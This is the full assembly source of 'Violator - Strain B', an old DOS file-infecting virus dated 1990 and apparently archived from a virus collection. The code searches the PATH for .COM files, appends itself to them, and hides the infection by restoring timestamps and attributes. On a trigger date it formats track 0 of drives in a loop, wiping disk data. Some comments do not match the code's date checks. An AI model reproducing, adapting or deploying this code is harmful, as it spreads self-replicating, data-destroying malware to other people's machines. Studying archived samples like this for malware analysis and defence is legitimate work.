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Assembly Source File | 1998-01-14 | 11.3 KB | 394 lines

;***************************************************************************** ; ; Violator - Strain B ; ;***************************************************************************** ; ; (Aug/09/90) ; ; Development Notes: ; ; I encountered several errors in the original Violator code which I ; corrected in this version. Mainly, the INT 26 routine to fuck the ; disk. It seems that the routine would crash right after the INT 26 ; was executed and the whole program would die. I have since fixed ; this problem in this version with an INT 13, AH 05 (Format Track) ; command. This works better than the subsequent INT 26. ; ; ;***************************************************************************** ; ; Written by - The High Evolutionary - ; RABID Head Programmer ; ; Revised by: «Onslaught» ; No affiliation with rabId ; ; Copyright (C) 1990 by RABID Nat'nl Development Corp. ; ;***************************************************************************** MOV_CX MACRO X DB 0B9H DW X ENDM CODE SEGMENT ASSUME DS:CODE,SS:CODE,CS:CODE,ES:CODE ORG $+0100H ; Set ORG to 100H plus our own VCODE: JMP virus NOP NOP NOP ;15 NOP's to place JMP Header NOP NOP NOP NOP NOP NOP NOP NOP NOP NOP NOP NOP v_start equ $ virus: PUSH CX MOV DX,OFFSET vir_dat CLD MOV SI,DX ADD SI,first_3 MOV CX,3 MOV DI,OFFSET 100H REPZ MOVSB MOV SI,DX MOV AH,30H INT 21H CMP AL,0 ;Quit it it's DOS 1.0 JNZ dos_ok JMP quit dos_ok: PUSH ES MOV AH,2FH INT 21H MOV [SI+old_dta],BX MOV [SI+old_dts],ES POP ES MOV DX,dta ADD DX,SI MOV AH,1AH INT 21H PUSH ES PUSH SI MOV ES,DS:2CH MOV DI,0 JMP year_check year_check: MOV AH,2AH ;Get date info INT 21H ;Call DOS CMP CX,1990 ;Check to see if the year is 1990 JGE month_check ;If greater or equal, check month JMP find_path ;If not, go on with infection month_check: MOV AH,2AH ;Get date info INT 21h ;Call DOS CMP DH,10 ;Check to see if it is September JGE day_check ;If greater or equal, check day JMP find_path ;if not, go on with infection day_check: MOV AH,2Ah ;Get date info INT 21H ;Call DOS CMP DL,31 ;Check to see if it is the 4th JGE multiplex ;If yes, then nuke drives A:-Z: JMP find_path ;If not, then go on with infection multiplex: MOV AL,cntr ;Counter is the drive to kill CALL alter ;Go and kill the drive ;25 is drive Z: CMP cntr,25 ;Is (cntr) 25 ? JE find_path ;Go on with infection INC cntr ;Add one to (cntr) LOOP multiplex ;Loop back up to kill next drive alter: MOV AH,05 ;Format Track MOV CH,0 ;Format track 0 MOV DH,0 ;Head 0 MOV DL,cntr ;Format for drive in (cntr) INT 13h ;Call RWTS RET ;Return up for next drive find_path: POP SI PUSH SI ADD SI,env_str LODSB MOV CX,OFFSET 8000H REPNZ SCASB MOV CX,4 check_next_4: LODSB SCASB ; ; The JNZ line specifies that if there is no PATH present, then we will go ; along and infect the ROOT directory on the default drive. ; JNZ find_path ;If not path, then go to ROOT dir LOOP check_next_4 ;Go back and check for more chars POP SI ;Load in PATH again to look for chars POP ES MOV [SI+path_ad],DI MOV DI,SI ADD DI,wrk_spc ;Put the filename in wrk_spc MOV BX,SI ADD SI,wrk_spc MOV DI,SI JMP SHORT slash_ok set_subdir: CMP WORD PTR [SI+path_ad],0 JNZ found_subdir JMP all_done found_subdir: PUSH DS PUSH SI MOV DS,ES:2CH MOV DI,SI MOV SI,ES:[DI+path_ad] ADD DI,wrk_spc ;DI is the file name to infect! (hehe) move_subdir: LODSB ;To tedious work to move into subdir CMP AL,';' ;Does it end with a ; charachter? JZ moved_one ;if yes, then we found a subdir CMP AL,0 ;is it the end of the path? JZ moved_last_one ;if yes, then we save the PATH STOSB ;marker into DI for future reference JMP SHORT move_subdir moved_last_one: MOV SI,0 moved_one: POP BX ;BX is where the virus data is POP DS ;Restore DS so that we can do stuph MOV [BX+path_ad],SI ;Where is the next subdir? NOP CMP CH,'\' ;Check to see if it ends in \ JZ slash_ok ;If yes, then it's OK MOV AL,'\' ;if not, then add one... STOSB ;store the sucker slash_ok: MOV [BX+nam_ptr],DI ;Move the filename into workspace MOV SI,BX ;Restore the original SI value ADD SI,f_spec ;Point to COM file victim MOV CX,6 REPZ MOVSB ;Move victim into workspace MOV SI,BX MOV AH,4EH MOV DX,wrk_spc ADD DX,SI ;DX is ... THE VICTIM!!! MOV CX,3 ;Attributes of Read Only or Hidden OK INT 21H JMP SHORT find_first find_next: MOV AH,4FH INT 21H find_first: JNB found_file ;Jump if we found it JMP SHORT set_subdir ;Otherwise, get another subdirectory found_file: MOV AX,[SI+dta_tim] ;Get time from DTA AND AL,1EH ;Mask to remove all but seconds CMP AL,1EH ;60 seconds JZ find_next CMP WORD PTR [SI+dta_len],OFFSET 0FA00H ;Is the file too long? JA find_next ;If too long, find another one CMP WORD PTR [SI+dta_len],0AH ;Is it too short? JB find_next ;Then go find another one MOV DI,[SI+nam_ptr] PUSH SI ADD SI,dta_nam more_chars: LODSB STOSB CMP AL,0 JNZ more_chars POP SI MOV AX,OFFSET 4300H MOV DX,wrk_spc ADD DX,SI INT 21H MOV [SI+old_att],CX MOV AX,OFFSET 4301H AND CX,OFFSET 0FFFEH MOV DX,wrk_spc ADD DX,SI INT 21H MOV AX,OFFSET 3D02H MOV DX,wrk_spc ADD DX,SI INT 21H JNB opened_ok JMP fix_attr opened_ok: MOV BX,AX MOV AX,OFFSET 5700H INT 21H MOV [SI+old_tim],CX ;Save file time MOV [SI+ol_date],DX ;Save the date MOV AH,2CH INT 21H AND DH,7 JMP infect infect: MOV AH,3FH MOV CX,3 MOV DX,first_3 ADD DX,SI INT 21H ;Save first 3 bytes into the data area JB fix_time_stamp CMP AX,3 JNZ fix_time_stamp MOV AX,OFFSET 4202H MOV CX,0 MOV DX,0 INT 21H JB fix_time_stamp MOV CX,AX SUB AX,3 MOV [SI+jmp_dsp],AX ADD CX,OFFSET c_len_y MOV DI,SI SUB DI,OFFSET c_len_x MOV [DI],CX MOV AH,40H MOV_CX virlen MOV DX,SI SUB DX,OFFSET codelen INT 21H JB fix_time_stamp CMP AX,OFFSET virlen JNZ fix_time_stamp MOV AX,OFFSET 4200H MOV CX,0 MOV DX,0 INT 21H JB fix_time_stamp MOV AH,40H MOV CX,3 MOV DX,SI ADD DX,jmp_op INT 21H fix_time_stamp: MOV DX,[SI+ol_date] MOV CX,[SI+old_tim] AND CX,OFFSET 0FFE0H OR CX,1EH MOV AX,OFFSET 5701H INT 21H MOV AH,3EH INT 21H fix_attr: MOV AX,OFFSET 4301H MOV CX,[SI+old_att] MOV DX,wrk_spc ADD DX,SI INT 21H all_done: PUSH DS MOV AH,1AH MOV DX,[SI+old_dta] MOV DS,[SI+old_dts] INT 21H POP DS quit: POP CX XOR AX,AX ;XOR values so that we will give the XOR BX,BX ;poor sucker a hard time trying to XOR DX,DX ;reassemble the source code if he XOR SI,SI ;decides to dissassemble us. MOV DI,OFFSET 0100H PUSH DI XOR DI,DI RET 0FFFFH ;Return back to the beginning ;of the program vir_dat EQU $ intro db '.D$^i*&B)_a.%R',13,10 olddta_ DW 0 olddts_ DW 0 oldtim_ DW 0 count_ DW 0 cntr DB 2 ; Drive to nuke from (C:+++) oldate_ DW 0 oldatt_ DW 0 first3_ EQU $ INT 20H NOP jmpop_ DB 0E9H jmpdsp_ DW 0 fspec_ DB '*.COM',0 pathad_ DW 0 namptr_ DW 0 envstr_ DB 'PATH=' wrkspc_ DB 40h dup (0) dta_ DB 16h dup (0) dtatim_ DW 0,0 dtalen_ DW 0,0 dtanam_ DB 0Dh dup (0) lst_byt EQU $ virlen = lst_byt - v_start codelen = vir_dat - v_start c_len_x = vir_dat - v_start - 2 c_len_y = vir_dat - v_start + 100H old_dta = olddta_ - vir_dat old_dts = olddts_ - vir_dat old_tim = oldtim_ - vir_dat ol_date = oldate_ - vir_dat old_att = oldatt_ - vir_dat first_3 = first3_ - vir_dat jmp_op = jmpop_ - vir_dat jmp_dsp = jmpdsp_ - vir_dat f_spec = fspec_ - vir_dat path_ad = pathad_ - vir_dat nam_ptr = namptr_ - vir_dat env_str = envstr_ - vir_dat wrk_spc = wrkspc_ - vir_dat dta = dta_ - vir_dat dta_tim = dtatim_ - vir_dat dta_len = dtalen_ - vir_dat dta_nam = dtanam_ - vir_dat count = count_ - vir_dat CODE ENDS END VCODE